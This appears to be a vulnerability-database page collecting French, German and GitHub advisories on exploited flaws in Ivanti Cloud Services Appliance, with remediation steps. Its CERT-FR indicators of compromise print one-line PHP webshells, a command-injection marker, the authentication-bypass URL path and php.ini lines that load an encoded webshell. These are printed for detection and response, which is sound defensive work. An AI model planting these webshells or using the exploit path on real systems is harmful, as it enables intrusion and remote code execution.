      "title": "Avis CERTFR-2024-AVI-0796 du 20 septembre 2024",
      "url": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0796/"
    },
    {
      "title": "[1] Billet de blogue de FortiGuard Labs Threat Research du 11 octobre 2024 ",
      "url": "https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa"
    }
  ],
  "reference": "CERTFR-2024-ALE-013",
  "revisions": [
    {
      "description": "    Cl\u00f4ture de l\u0027alerte. Cela ne signifie pas la fin d\u0027une menace. Seule l\u0027application de la mise \u00e0 jour permet de vous pr\u00e9munir contre l\u0027exploitation de la vuln\u00e9rabilit\u00e9 correspondante.",
      "revision_date": "2025-03-31T00:00:00.000000"
    },
    {
      "description": "Version initiale",
      "revision_date": "2024-10-22T00:00:00.000000"
    },
    {
      "description": "Correction d\u0027un marqueur pr\u00e9sent dans les fichiers de /var/log/",
      "revision_date": "2024-10-25T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    }
  ],
  "summary": "Ivanti a publi\u00e9 plusieurs avis de s\u00e9curit\u00e9 sur des vuln\u00e9rabilit\u00e9s affectant CSA qui sont activement exploit\u00e9es :\n* le 10 septembre 2024, Ivanti a publi\u00e9 un avis de s\u00e9curit\u00e9 concernant la vuln\u00e9rabilit\u00e9 CVE-2024-8190 qui permet \u00e0 un attaquant, authentifi\u00e9 en tant qu\u0027administrateur, d\u0027ex\u00e9cuter du code arbitraire \u00e0 distance sur un \u00e9quipement CSA ;\n* le 13 septembre 2024, l\u0027\u00e9diteur a ajout\u00e9 que cette vuln\u00e9rabilit\u00e9 \u00e9tait activement exploit\u00e9e dans le cadre d\u0027attaques cibl\u00e9es ;\n* le 16 septembre 2024, le CERT-FR a eu connaissance de codes d\u0027exploitation publics pour la vuln\u00e9rabilit\u00e9 CVE-2024-8190 ;\n* le 19 septembre 2024, Ivanti a publi\u00e9 un nouvel avis de s\u00e9curit\u00e9 affectant CSA. La vuln\u00e9rabilit\u00e9 CVE-2024-8963 permet \u00e0 un attaquant non authentifi\u00e9 de contourner l\u0027authentification et d\u0027obtenir les droits administrateur ;\n* le 8 octobre 2024, Ivanti a publi\u00e9 un nouvel avis de s\u00e9curit\u00e9 affectant les CSA versions 5.0.1 et ant\u00e9rieures. Les vuln\u00e9rabilit\u00e9s CVE-2024-9379 et CVE-2024-9380, combin\u00e9es \u00e0 la vuln\u00e9rabilit\u00e9 CVE-2024-8963 pr\u00e9sente sur les CSA versions 4.6 ant\u00e9rieures au correctif 519, permettent d\u2019ex\u00e9cuter du code arbitraire \u00e0 distance ;\n* le 11 octobre 2024 l\u0027\u00e9diteur Fortinet a publi\u00e9 un billet de blogue [1] d\u00e9taillant les exploitations constat\u00e9es lors d\u0027une op\u00e9ration de r\u00e9ponse \u00e0 incidents.\n \nL\u0027\u00e9diteur a pr\u00e9cis\u00e9 que les vuln\u00e9rabilit\u00e9s CVE-2024-8190 et CVE-2024-8963 \u00e9taient activement exploit\u00e9es et a connaissance d\u2019un nombre limit\u00e9 d\u2019exploitations des vuln\u00e9rabilit\u00e9s CVE-2024-9379 et CVE-2024-9380, combin\u00e9es \u00e0 la vuln\u00e9rabilit\u00e9 CVE-2024-8963 sur les CSA en versions ant\u00e9rieures \u00e0 5.0 uniquement. \n\n**Le CERT-FR a connaissance de plusieurs compromissions dans lesquelles ces vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 exploit\u00e9es.**",
  "title": "Exploitations de vuln\u00e9rabilit\u00e9s dans Ivanti Cloud Services Appliance (CSA)",
  "vendor_advisories": [
    {
      "published_at": "2024-10-10",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381?language=en_US"
    },
    {
      "published_at": "2024-09-19",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US"
    },
    {
      "published_at": "2024-09-10",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US"
    }
  ]
}

CERTFR-2024-ALE-013

Vulnerability from certfr_alerte - Published: 2025-03-31 - Updated: 2025-03-31

Le CERT-FR a connaissance de plusieurs compromissions dans lesquelles ces vulnérabilités ont été exploitées.

Recherche de compromission

Dans /var/log/messages* et /var/log/secure*, des traces d’exécutions de commandes malveillantes peuvent être identifiées : * base64 -d * tripwire –-update ; <injection de commande>

De plus, des indicateurs de compromission peuvent parfois être observés à la fin du fichier /etc/php.ini : * allow_url_include = On * auto_prepend_file = "data:;base64,<webshell encodé>"

Le CERT-FR recommande par ailleurs de chercher les indicateurs de compromission présentés dans l'article de Fortinet [1].

Solution

En cas de compromission ou suspicion de compromission :

isoler les équipements compromis du réseau et réaliser un gel de données (instantané pour les machines virtuelles, isolement de l’équipement s’il s’agit d’un équipement physique) à des fins d’investigations approfondies ;
signaler l’événement auprès du CERT-FR en mettant en copie vos éventuels CSIRTs métier ;
reconstruire la solution CSA en version 5.0.2 et son système d’exploitation sur lequel il repose à partir de source éditeur. L'attaquant peut déposer un implant qui ne sera pas supprimé avec la simple réinstallation de l'application ;
réinitialiser tous les secrets de façon générale (mot de passe, certificat, etc.) configurés sur les équipements affectés ;
réinitialiser tous les secrets d’authentification susceptibles d’avoir transités sur les équipements affectés (si applicable) ;
vérifier que l'ensemble des utilisateurs du système sont légitimes ;
rechercher toutes traces de latéralisation sur le reste du système d’information, notamment :
- en cherchant les connexions ou tentatives de connexion vers Internet depuis l'équipement compromis ;
- puis en cherchant ces adresses IP de destination pour vérifier si d’autres machines ont tenté une connexion ;
- en analysant les journaux des EDR ou les journaux Windows pour identifier des connexions depuis l'équipement compromis.
identifier les comptes du domaine Active Directory qui seraient configurés sur l'équipement suspecté puis :
- vérifier l'activité réalisée à partir de ce compte ;
- réinitialiser les secrets associés à ces comptes afin d'éviter que l'attaquant ne puisse réutiliser ailleurs les identifiants éventuellement obtenus sur l'équipement.

Impacted products

	Vendor	Product	Description
	Ivanti	Cloud Service Appliance (CSA)	Ivanti Cloud Services Appliance (CSA) versions antérieures à 5.0.2

References

Title

Publication Time

Tags

Bulletin de sécurité Ivanti	2024-10-10	vendor-advisory
Bulletin de sécurité Ivanti	2024-09-19	vendor-advisory
Bulletin de sécurité Ivanti	2024-09-10	vendor-advisory
[2] Les bons réflexes en cas d’intrusion sur un système d’information	-	other
[4] Fiche réflexe Compromission système - Endiguement	-	other
[3] Fiche réflexe Compromission système - Qualification	-	other
Avis CERTFR-2024-AVI-0851 du 09 octobre 2024	-	other
Bulletin d'actualité CERTFR-2024-ACT-045 du 14 octobre 2024	-	other
Avis CERTFR-2024-AVI-0796 du 20 septembre 2024	-	other
[1] Billet de blogue de FortiGuard Labs Threat Research du 11 octobre 2024	-	other

Show details on source website

JSON

To clipboard

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Ivanti Cloud Services Appliance (CSA) versions ant\u00e9rieures \u00e0 5.0.2",
      "product": {
        "name": "Cloud Service Appliance (CSA)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "Une chaine d\u2019exploitation compl\u00e8te est connue pour les produits Ivanti Cloud Services Appliance de versions ant\u00e9rieures \u00e0 5.0, notamment les versions 4.6 n\u2019ayant pas appliqu\u00e9 le correctif 519.\nLes vuln\u00e9rabilit\u00e9s CVE-2024-8190, CVE-2024-8963 et CVE-2024-9380 ont \u00e9t\u00e9 exploit\u00e9es avant la publication de ce correctif.\nLe CERT-FR n\u2019a pas connaissance d\u2019une chaine d\u2019exploitation impactant les versions 5.0.x.",
  "closed_at": "2025-03-31",
  "content": "## Recherche de compromission\n\nDes traces d\u2019exploitation sont identifiables dans les journaux `/var/log/messages-\u003cdate\u003e.tar.gz` ou dans des journaux de reverse-proxy en privil\u00e9giant la p\u00e9riode du 4 au 15 septembre 2024 :\n1. requ\u00eate HTTP GET vers l\u0027URL `/client/index.php%3F.php/gsb/users.php` (CVE-2024-8963). Les attaquants peuvent utiliser des moyens d\u2019obscurcissement pour contourner ce motif de d\u00e9tection ; \n2. suivie d\u0027une requ\u00eate HTTP POST vers l\u0027URL `/gsb/datetime.php` (CVE-2024-8190) ;\n3. pr\u00e9sence de `PGPASSWORD` pouvant indiquer une manipulation de la base de donn\u00e9e contenant les informations de connexion ;\n4. pr\u00e9sence d\u0027une requ\u00eate contenant `tripwire --update ;` indiquant une injection de commandes au travers de la page `reports.php`.\n\nDans `/var/log/messages*` et `/var/log/secure*`, des traces d\u2019ex\u00e9cutions de commandes malveillantes peuvent \u00eatre identifi\u00e9es :\n* `base64 -d`\n* `tripwire \u2013-update ; \u003cinjection de commande\u003e`\n\nL\u0027attaquant peut \u00e9galement utiliser des *webshells* situ\u00e9es dans le dossier `/opt/landesk` contenant uniquement l\u2019une des deux lignes suivantes :\n* `\u003c?php @eval($_REQUEST[\u003cvariable\u003e]);  ?\u003e`\n* `\u003c?php system(\u0027/bin/sudo \u0027. $_REQUEST[\u003cvariable\u003e]);`\n\nIl existe \u00e9galement des combinaisons de ces deux lignes (sans le  `?\u003e` final, avec ou sans guillemet autour de la variable, etc.). Les dates de derni\u00e8re modification et de cr\u00e9ation de ces fichiers peuvent avoir \u00e9t\u00e9 manipul\u00e9es. \n\nDe plus, des indicateurs de compromission peuvent parfois \u00eatre observ\u00e9s \u00e0 la fin du fichier `/etc/php.ini` :\n* `allow_url_include = On`\n* `auto_prepend_file = \"data:;base64,\u003cwebshell encod\u00e9\u003e\"`\n\nLe CERT-FR recommande par ailleurs de chercher les indicateurs de compromission pr\u00e9sent\u00e9s dans l\u0027article de Fortinet [1].\n\nL\u0027URL permettant d\u0027exploiter la vuln\u00e9rabilit\u00e9 CVE-2024-8963 a \u00e9t\u00e9 massivement requ\u00eat\u00e9e. Sa seule pr\u00e9sence dans les journaux d\u0027activit\u00e9 n\u0027est donc pas n\u00e9cessairement r\u00e9v\u00e9latrice d\u0027une action malveillante. Il est n\u00e9anmoins n\u00e9cessaire de suivre les \u00e9tapes 4 \u00e0 6 pr\u00e9sentes dans la section Solution. \n\n## Solution \n\nLa version 5.0.2 de CSA corrige l\u0027ensemble des vuln\u00e9rabilit\u00e9s pr\u00e9sent\u00e9es. La version 4.6 n\u0027est plus support\u00e9e par l\u0027\u00e9diteur et ce dernier recommande de mettre \u00e0 jour vers la version 5.0.2. L\u2019\u00e9diteur recommande l\u2019utilisation de deux interfaces r\u00e9seau, en utilisant `eth0` uniquement pour le r\u00e9seau interne.\n\nSi vous \u00eates en pr\u00e9sence d\u0027un CSA qui \u00e9tait en version 4.6 et accessible depuis Internet en septembre ou octobre 2024, il est imp\u00e9ratif d\u2019effectuer une recherche de traces d\u2019exploitation de vuln\u00e9rabilit\u00e9 sur l\u2019\u00e9quipement ou la machine virtuelle, ainsi que de tentatives de lat\u00e9ralisation.\n\nEn cas de compromission ou suspicion de compromission :\n\n1. isoler les \u00e9quipements compromis du r\u00e9seau et r\u00e9aliser un gel de donn\u00e9es (instantan\u00e9 pour les machines virtuelles, isolement de l\u2019\u00e9quipement s\u2019il s\u2019agit d\u2019un \u00e9quipement physique) \u00e0 des fins d\u2019investigations approfondies ;\n2. signaler l\u2019\u00e9v\u00e9nement aupr\u00e8s du CERT-FR en mettant en copie vos \u00e9ventuels CSIRTs m\u00e9tier ; \n3. reconstruire la solution CSA en version 5.0.2 et son syst\u00e8me d\u2019exploitation sur lequel il repose \u00e0 partir de source \u00e9diteur. L\u0027attaquant peut d\u00e9poser un implant qui ne sera pas supprim\u00e9 avec la simple r\u00e9installation de l\u0027application ;\n4. r\u00e9initialiser tous les secrets de fa\u00e7on g\u00e9n\u00e9rale (mot de passe, certificat, etc.) configur\u00e9s sur les \u00e9quipements affect\u00e9s ; \n5. r\u00e9initialiser tous les secrets d\u2019authentification susceptibles d\u2019avoir transit\u00e9s sur les \u00e9quipements affect\u00e9s (si applicable) ;\n6. v\u00e9rifier que l\u0027ensemble des utilisateurs du syst\u00e8me sont l\u00e9gitimes ; \n7. rechercher toutes traces de lat\u00e9ralisation sur le reste du syst\u00e8me d\u2019information, notamment :\n    * en cherchant les connexions ou tentatives de connexion vers Internet depuis l\u0027\u00e9quipement compromis ;\n    * puis en cherchant ces adresses IP de destination pour v\u00e9rifier si d\u2019autres machines ont tent\u00e9 une connexion ;\n    * en analysant les journaux des EDR ou les journaux Windows pour identifier des connexions depuis l\u0027\u00e9quipement compromis. \n8. identifier les comptes du domaine Active Directory qui seraient configur\u00e9s sur l\u0027\u00e9quipement suspect\u00e9 puis :\n    * v\u00e9rifier l\u0027activit\u00e9 r\u00e9alis\u00e9e \u00e0 partir de ce compte ;\n    * r\u00e9initialiser les secrets associ\u00e9s \u00e0 ces comptes afin d\u0027\u00e9viter que l\u0027attaquant ne puisse r\u00e9utiliser ailleurs les identifiants \u00e9ventuellement obtenus sur l\u0027\u00e9quipement.\n\nLe CERT-FR vous recontactera si n\u00e9cessaire pour le traitement de l\u2019incident ou vous communiquera des \u00e9l\u00e9ments suppl\u00e9mentaires. En cas de suspicion de compromission, il est recommand\u00e9 de consulter les [bons r\u00e9flexes en cas d\u0027intrusion sur votre syst\u00e8me d\u0027information](https://www.cert.ssi.gouv.fr/les-bons-reflexes-en-cas-dintrusion-sur-un-systeme-dinformation/) [2], ainsi que les fiches r\u00e9flexe sur la compromission syst\u00e8me [3] [4]. \n",
  "cves": [
    {
      "name": "CVE-2024-9380",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-9380"
    },
    {
      "name": "CVE-2024-8963",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-8963"
    },
    {
      "name": "CVE-2024-8190",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-8190"
    }
  ],
  "initial_release_date": "2025-03-31T00:00:00",
  "last_revision_date": "2025-03-31T00:00:00",
  "links": [
    {
      "title": "[2] Les bons r\u00e9flexes en cas d\u2019intrusion sur un syst\u00e8me d\u2019information",
      "url": "https://www.cert.ssi.gouv.fr/les-bons-reflexes-en-cas-dintrusion-sur-un-systeme-dinformation/"
    },
    {
      "title": "[4] Fiche r\u00e9flexe Compromission syst\u00e8me - Endiguement",
      "url": "https://www.cert.ssi.gouv.fr/fiche/CERTFR-2024-RFX-006/"
    },
    {
      "title": "[3]\u00a0Fiche r\u00e9flexe Compromission syst\u00e8me - Qualification",
      "url": "https://www.cert.ssi.gouv.fr/fiche/CERTFR-2024-RFX-005/"
    },
    {
      "title": "Avis CERTFR-2024-AVI-0851 du 09 octobre 2024",
      "url": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0851/"
    },
    {
      "title": "Bulletin d\u0027actualit\u00e9 CERTFR-2024-ACT-045 du 14 octobre 2024",
      "url": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2024-ACT-045/"
    },
    {
      "title": "Avis CERTFR-2024-AVI-0796 du 20 septembre 2024",
      "url": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0796/"
    },
    {
      "title": "[1] Billet de blogue de FortiGuard Labs Threat Research du 11 octobre 2024 ",
      "url": "https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa"
    }
  ],
  "reference": "CERTFR-2024-ALE-013",
  "revisions": [
    {
      "description": "    Cl\u00f4ture de l\u0027alerte. Cela ne signifie pas la fin d\u0027une menace. Seule l\u0027application de la mise \u00e0 jour permet de vous pr\u00e9munir contre l\u0027exploitation de la vuln\u00e9rabilit\u00e9 correspondante.",
      "revision_date": "2025-03-31T00:00:00.000000"
    },
    {
      "description": "Version initiale",
      "revision_date": "2024-10-22T00:00:00.000000"
    },
    {
      "description": "Correction d\u0027un marqueur pr\u00e9sent dans les fichiers de /var/log/",
      "revision_date": "2024-10-25T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    }
  ],
  "summary": "Ivanti a publi\u00e9 plusieurs avis de s\u00e9curit\u00e9 sur des vuln\u00e9rabilit\u00e9s affectant CSA qui sont activement exploit\u00e9es :\n* le 10 septembre 2024, Ivanti a publi\u00e9 un avis de s\u00e9curit\u00e9 concernant la vuln\u00e9rabilit\u00e9 CVE-2024-8190 qui permet \u00e0 un attaquant, authentifi\u00e9 en tant qu\u0027administrateur, d\u0027ex\u00e9cuter du code arbitraire \u00e0 distance sur un \u00e9quipement CSA ;\n* le 13 septembre 2024, l\u0027\u00e9diteur a ajout\u00e9 que cette vuln\u00e9rabilit\u00e9 \u00e9tait activement exploit\u00e9e dans le cadre d\u0027attaques cibl\u00e9es ;\n* le 16 septembre 2024, le CERT-FR a eu connaissance de codes d\u0027exploitation publics pour la vuln\u00e9rabilit\u00e9 CVE-2024-8190 ;\n* le 19 septembre 2024, Ivanti a publi\u00e9 un nouvel avis de s\u00e9curit\u00e9 affectant CSA. La vuln\u00e9rabilit\u00e9 CVE-2024-8963 permet \u00e0 un attaquant non authentifi\u00e9 de contourner l\u0027authentification et d\u0027obtenir les droits administrateur ;\n* le 8 octobre 2024, Ivanti a publi\u00e9 un nouvel avis de s\u00e9curit\u00e9 affectant les CSA versions 5.0.1 et ant\u00e9rieures. Les vuln\u00e9rabilit\u00e9s CVE-2024-9379 et CVE-2024-9380, combin\u00e9es \u00e0 la vuln\u00e9rabilit\u00e9 CVE-2024-8963 pr\u00e9sente sur les CSA versions 4.6 ant\u00e9rieures au correctif 519, permettent d\u2019ex\u00e9cuter du code arbitraire \u00e0 distance ;\n* le 11 octobre 2024 l\u0027\u00e9diteur Fortinet a publi\u00e9 un billet de blogue [1] d\u00e9taillant les exploitations constat\u00e9es lors d\u0027une op\u00e9ration de r\u00e9ponse \u00e0 incidents.\n \nL\u0027\u00e9diteur a pr\u00e9cis\u00e9 que les vuln\u00e9rabilit\u00e9s CVE-2024-8190 et CVE-2024-8963 \u00e9taient activement exploit\u00e9es et a connaissance d\u2019un nombre limit\u00e9 d\u2019exploitations des vuln\u00e9rabilit\u00e9s CVE-2024-9379 et CVE-2024-9380, combin\u00e9es \u00e0 la vuln\u00e9rabilit\u00e9 CVE-2024-8963 sur les CSA en versions ant\u00e9rieures \u00e0 5.0 uniquement. \n\n**Le CERT-FR a connaissance de plusieurs compromissions dans lesquelles ces vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 exploit\u00e9es.**",
  "title": "Exploitations de vuln\u00e9rabilit\u00e9s dans Ivanti Cloud Services Appliance (CSA)",
  "vendor_advisories": [
    {
      "published_at": "2024-10-10",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381?language=en_US"
    },
    {
      "published_at": "2024-09-19",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US"
    },
    {
      "published_at": "2024-09-10",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US"
    }
  ]
}

GHSA-V7HG-Q674-723G

Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2025-10-22 00:33

Details

An OS command injection vulnerability in the admin web console of Ivanti CSA before version 5.0.2 allows a remote authenticated attacker with admin privileges to obtain remote code execution.

Severity ?

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-9380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-08T17:15:56Z",
    "severity": "HIGH"
  },
  "details": "An OS command injection vulnerability in the admin web console of Ivanti CSA before version 5.0.2 allows a remote authenticated attacker with admin privileges to obtain remote code execution.",
  "id": "GHSA-v7hg-q674-723g",
  "modified": "2025-10-22T00:33:10Z",
  "published": "2024-10-08T18:33:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9380"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-9380"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

WID-SEC-W-2024-3120

Vulnerability from csaf_certbund - Published: 2024-10-08 22:00 - Updated: 2024-10-08 22:00

Summary

Ivanti Cloud Services Appliance: Mehrere Schwachstellen

Notes

Das BSI ist als Anbieter für die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch dafür verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgfältig im Einzelfall zu prüfen.

Produktbeschreibung

Ivanti CSA (Cloud Services Appliance) ist eine Sicherheitslösung für den Fernzugriff auf Ivanti-Umgebungen

Angriff

Ein entfernter, privilegierter Angreifer kann mehrere Schwachstellen in Ivanti Cloud Services Appliance ausnutzen, um Dateien zu manipulieren, beliebigen Code auszuführen oder Sicherheitsmaßnahmen zu umgehen.

Betroffene Betriebssysteme

- Sonstiges

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "text": "mittel"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Ivanti CSA (Cloud Services Appliance) ist eine Sicherheitsl\u00f6sung f\u00fcr den Fernzugriff auf Ivanti-Umgebungen",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein entfernter, privilegierter Angreifer kann mehrere Schwachstellen in Ivanti Cloud Services Appliance ausnutzen, um Dateien zu manipulieren, beliebigen Code auszuf\u00fchren oder Sicherheitsma\u00dfnahmen zu umgehen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Sonstiges",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2024-3120 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2024/wid-sec-w-2024-3120.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2024-3120 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2024-3120"
      },
      {
        "category": "external",
        "summary": "Ivanti Security Advisory vom 2024-10-08",
        "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381"
      }
    ],
    "source_lang": "en-US",
    "title": "Ivanti Cloud Services Appliance: Mehrere Schwachstellen",
    "tracking": {
      "current_release_date": "2024-10-08T22:00:00.000+00:00",
      "generator": {
        "date": "2024-10-09T09:41:15.710+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.3.8"
        }
      },
      "id": "WID-SEC-W-2024-3120",
      "initial_release_date": "2024-10-08T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2024-10-08T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c5.0.2",
                "product": {
                  "name": "Ivanti Cloud Services Appliance \u003c5.0.2",
                  "product_id": "T038084"
                }
              },
              {
                "category": "product_version",
                "name": "5.0.2",
                "product": {
                  "name": "Ivanti Cloud Services Appliance 5.0.2",
                  "product_id": "T038084-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:ivanti:cloud_service_appliance:5.0.2"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "cloud_service_appliance"
          }
        ],
        "category": "vendor",
        "name": "ivanti"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2024-9379",
      "notes": [
        {
          "category": "description",
          "text": "Es besteht eine Schwachstelle in der Ivanti Cloud Services Appliance. Dieser Fehler existiert wegen einer SQL-Injektion in der Admin-Webkonsole, die die Ausf\u00fchrung beliebiger SQL-Anweisungen erm\u00f6glicht. Ein entfernter, authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um Dateien zu manipulieren."
        }
      ],
      "product_status": {
        "known_affected": [
          "T038084"
        ]
      },
      "release_date": "2024-10-08T22:00:00.000+00:00",
      "title": "CVE-2024-9379"
    },
    {
      "cve": "CVE-2024-9380",
      "notes": [
        {
          "category": "description",
          "text": "Es besteht eine Schwachstelle in der Ivanti Cloud Services Appliance. Dieser Fehler existiert wegen einer OS-Befehlsinjektion in der Admin-Webkonsole. Ein entfernter authentifizierter Angreifer mit Admin-Rechten kann diese Schwachstelle ausnutzen, um beliebigen Code auszuf\u00fchren."
        }
      ],
      "product_status": {
        "known_affected": [
          "T038084"
        ]
      },
      "release_date": "2024-10-08T22:00:00.000+00:00",
      "title": "CVE-2024-9380"
    },
    {
      "cve": "CVE-2024-9381",
      "notes": [
        {
          "category": "description",
          "text": "Es besteht eine Schwachstelle in Ivanti Cloud Services Appliance. Dieser Fehler existiert wegen eines Pfad\u00fcberquerungsproblems. Ein entfernter authentifizierter Angreifer mit Administratorrechten kann diese Schwachstelle ausnutzen, um Sicherheitsbeschr\u00e4nkungen zu umgehen."
        }
      ],
      "product_status": {
        "known_affected": [
          "T038084"
        ]
      },
      "release_date": "2024-10-08T22:00:00.000+00:00",
      "title": "CVE-2024-9381"
    }
  ]
}

Tags

Taxonomy of the tags.

All sightings related to this event Export sightings related to this event

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2024-9380 (GCVE-0-2024-9380)

CISA Known Exploited Vulnerability

Data from the CISA Known Exploited Vulnerabilities Catalog

ENISA Known Exploited Vulnerability

Data from the ENISA CNW Known Exploited Vulnerabilities Catalog

Vendor/Product: Ivanti | Product: CSA (Cloud Services Appliance)

Solutions

Solutions

Recherche de compromission

Solution

Recherche de compromission

Solution

Tags

Sightings

Nomenclature